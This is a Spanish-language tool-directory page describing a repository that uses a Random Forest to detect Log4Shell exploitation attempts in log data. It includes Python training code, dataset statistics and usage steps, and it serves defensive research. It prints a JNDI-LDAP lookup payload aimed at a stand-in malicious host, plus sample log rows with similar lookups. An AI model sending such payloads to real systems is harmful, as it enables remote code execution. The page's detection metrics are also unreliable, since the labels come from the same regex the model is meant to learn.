Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — Este repositorio proporciona un análisis en profundidad de la vulnerabilidad Log4Shell (CVE-2021-44228) e implementa un enfoque basado en aprendizaje automático para detectar intentos de explotación en datos de registro. | Kitploit
Herramientas/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Análisis de VulnerabilidadesAprendizaje AutomáticoDetección de IntrusionesPapers e InvestigaciónAprendizaje y EducaciónRecursos CuradosDetección de AnomalíasAnálisis de Registros
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

Este repositorio proporciona un análisis en profundidad de la vulnerabilidad Log4Shell (CVE-2021-44228) e implementa un enfoque basado en aprendizaje automático para detectar intentos de explotación en datos de registro.

Ver Repositorio
3hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Detección de amenazas Log4Shell (CVE-2021-44228)

Descripción general

Este repositorio proporciona un análisis en profundidad y la implementación de un sistema de detección de amenazas Log4Shell (CVE-2021-44228) basado en aprendizaje automático (Machine Learning). Incluye:

  • Comprender Log4Shell: qué es y por qué es peligroso
  • Recopilación de conjuntos de datos: fuentes y pasos de preprocesamiento
  • Ingeniería de características: extracción de patrones maliciosos basados en JNDI
  • Entrenamiento del modelo de aprendizaje automático: detección basada en Random Forest
  • Resultados y análisis: métricas de rendimiento y gráficos de evaluación
  • Conclusión y trabajo futuro

Descripción general de la amenaza - Log4Shell (CVE-2021-44228)

  • Vulnerabilidad: ejecución remota de código (RCE) en Apache Log4j 2
  • Ejemplo de explotación:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Impacto: permite a los atacantes tomar el control total de los sistemas afectados
  • Mitigación: actualice Log4j a versiones parcheadas (2.17.0 o posteriores) y aplique reglas de firewall

Estructura del repositorio

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Recopilación de datos y fuentes

Conjuntos de datos utilizados:

  • Registros públicos de Zeek Security Dataset
  • Registros de honeypots de DShield
  • Simulaciones de ataques personalizadas mediante Metasploit y Kali Linux
  • Descargue el conjunto de datos aquí: Registros Log4Shell

Descripción del conjunto de datos

  • Tamaño total del conjunto de datos: 80 MB
  • Datos de entrenamiento: 70% (56 MB)
  • Datos de prueba: 30% (24 MB)
  • Total de registros: 1,000,000
  • Registros maliciosos: 300,000
  • Registros benignos: 700,000

Ejemplo de conjunto de datos de registros (log4shell_logs.csv)

Marca de tiempoIP de origenIP de destinoSolicitudCódigo de estadoUser-AgentMensaje de registro
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Mensaje de registro normal
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

Ingeniería de características

  • Normalización de registros: convertir marcas de tiempo y extraer campos
  • Extracción de características basada en expresiones regulares: identificar patrones jndi, ldap, rmi y dns
  • Vectorización de texto: transformación de características basada en TF-IDF

Modelo de aprendizaje automático para la detección de amenazas

  • Algoritmo: clasificador Random Forest
  • Métricas de evaluación: exactitud, precisión, recall y puntuación F1

Código Python para el entrenamiento del modelo

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Resultados y análisis de rendimiento

Resultados de las pruebas:

  • Precisión: 98%
  • Recall: 95%
  • Puntuación F1: 96%
  • Tasa de falsos positivos: 3%

Comparación con trabajos existentes:

  • Los sistemas SIEM tradicionales basados en reglas tienen una exactitud del 80-85%.
  • Nuestro enfoque basado en ML alcanza una exactitud del 96%, mejorando significativamente las tasas de detección.
  • En comparación con los métodos basados en aprendizaje profundo, nuestro modelo Random Forest es más rápido e interpretable y logra una precisión similar.

Curva de precisión-recall

Curva de precisión-recall para la detección de Log4Shell

Matriz de confusión

Matriz de confusión para la detección de Log4Shell

Conclusión y trabajo futuro

Conclusión:

  • El modelo Random Forest detecta eficazmente las amenazas Log4Shell con alta precisión.
  • La extracción de características mediante el reconocimiento de patrones JNDI mejora la exactitud.
  • Los registros del mundo real pueden contener evasión adversaria, lo que requiere un ajuste adicional.

Trabajo futuro:

  • Implementar aprendizaje profundo (modelos LSTM y basados en Transformers) para la detección de anomalías.
  • Integrar canales de procesamiento de registros en tiempo real (p. ej., ELK stack, Apache Kafka).
  • Extender la detección a otras vulnerabilidades CVE basadas en registros.

Cómo usar

  1. Clone el repositorio:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Instale las dependencias:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Ejecute el script de entrenamiento del modelo:
    root@kitploit:~
    python scripts/model_training.py
    
  4. Analice los resultados de detección en la carpeta results/.

Descargar herramienta